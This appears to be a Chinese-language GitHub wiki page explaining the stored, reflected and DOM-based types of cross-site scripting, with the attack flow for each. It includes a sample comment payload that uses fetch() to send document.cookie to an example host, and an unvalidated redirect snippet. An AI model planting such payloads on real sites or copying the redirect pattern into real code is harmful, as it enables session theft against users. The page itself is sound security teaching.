-
Notifications
You must be signed in to change notification settings - Fork 1
网络安全_XSS
Cross-Site Scripting(跨站脚本攻击)简称 XSS,是一种代码注入攻击。攻击者通过在目标网站上注入恶意脚本,使之在用户的浏览器上运行。利用这些恶意脚本,攻击者可获取用户的敏感信息如 Cookie、SessionID 等,进而危害数据安全。
类型 | 存储区 | 插入点 |
---|---|---|
存储型 | 后端数据库 | HTML |
反射型 | URL | HTML |
DOM 型 | 后端数据库/前端存储/URL | 客户端 JavaScript |
存储区:恶意代码存放的位置。
插入点:由谁取得恶意代码,并插入到网页上。
-
攻击者将恶意代码提交到目标网站的数据库中。
-
用户打开目标网站时,网站服务端将恶意代码从数据库取出,拼接在 HTML 中返回给浏览器。
-
用户浏览器接收到响应后解析执行,混在其中的恶意代码也被执行。
-
恶意代码窃取用户数据并发送到攻击者的网站,或者冒充用户的行为,调用目标网站接口执行攻击者指定的操作。
这种攻击常见于带有用户保存数据的网站功能,如论坛发帖、商品评论、用户私信等。
服务端没过滤 <script> 等相关字符,导致服务端如果渲染这部分数据的话,会产生影响。
例如评论输入:
<script>alert('hi'); fetch(`www.example.com/getCookie?cookie=${document.cookie}`)</script>
之后存入数据库,服务端输出这部分数据到页面
-
攻击者构造出特殊的 URL,其中包含恶意代码。
-
用户打开带有恶意代码的 URL 时,网站服务端将恶意代码从 URL 中取出,拼接在 HTML 中返回给浏览器。
-
用户浏览器接收到响应后解析执行,混在其中的恶意代码也被执行。
-
恶意代码窃取用户数据并发送到攻击者的网站,或者冒充用户的行为,调用目标网站接口执行攻击者指定的操作。
反射型 XSS 跟存储型 XSS 的区别是:存储型 XSS 的恶意代码存在数据库里,反射型 XSS 的恶意代码存在 URL 里。
get 请求:
反射型 XSS 漏洞常见于通过 URL 传递参数的功能,如网站搜索、跳转等。由于需要用户主动打开恶意的 URL 才能生效,攻击者往往会结合多种手段诱导用户点击。
post 请求:
POST 的内容也可以触发反射型 XSS,只不过其触发条件比较苛刻(需要构造表单提交页面,并引导用户点击),所以非常少见。
get:服务端代码里面根据 url 的 search 参数执行数据库操作
post:服务端代码里面根据请求的 cookie 参数执行相关操作
-
攻击者构造出特殊的 URL,其中包含恶意代码。
-
用户打开带有恶意代码的 URL。
-
用户浏览器接收到响应后解析执行,前端 JavaScript 取出 URL 中的恶意代码并执行。
-
恶意代码窃取用户数据并发送到攻击者的网站,或者冒充用户的行为,调用目标网站接口执行攻击者指定的操作。
DOM 型 XSS 跟前两种 XSS 的区别:DOM 型 XSS 攻击中,取出和执行恶意代码由浏览器端完成,属于前端 JavaScript 自身的安全漏洞,而其他两种 XSS 都属于服务端的安全漏洞。
JS 代码里面根据 url 的 search 参数执行 window.location.href 的跳转
// www.example.com/login?returnUrl=www.a.com
window.location.href = returnUrl
🤸♀️🤸♂️🕘➡🏩🌪🕘🪐👨🦼👩🦼👋
- JS
- CSS
- HTML
- 前端工程化
- React
- Vue
- Webpack
- Nodejs
- 服务端
- 浏览器
- 算法
- 数据结构
- 设计思想
- 网络安全
- 其他
- 产品交互和设计
- 业务重构
- React 实践进阶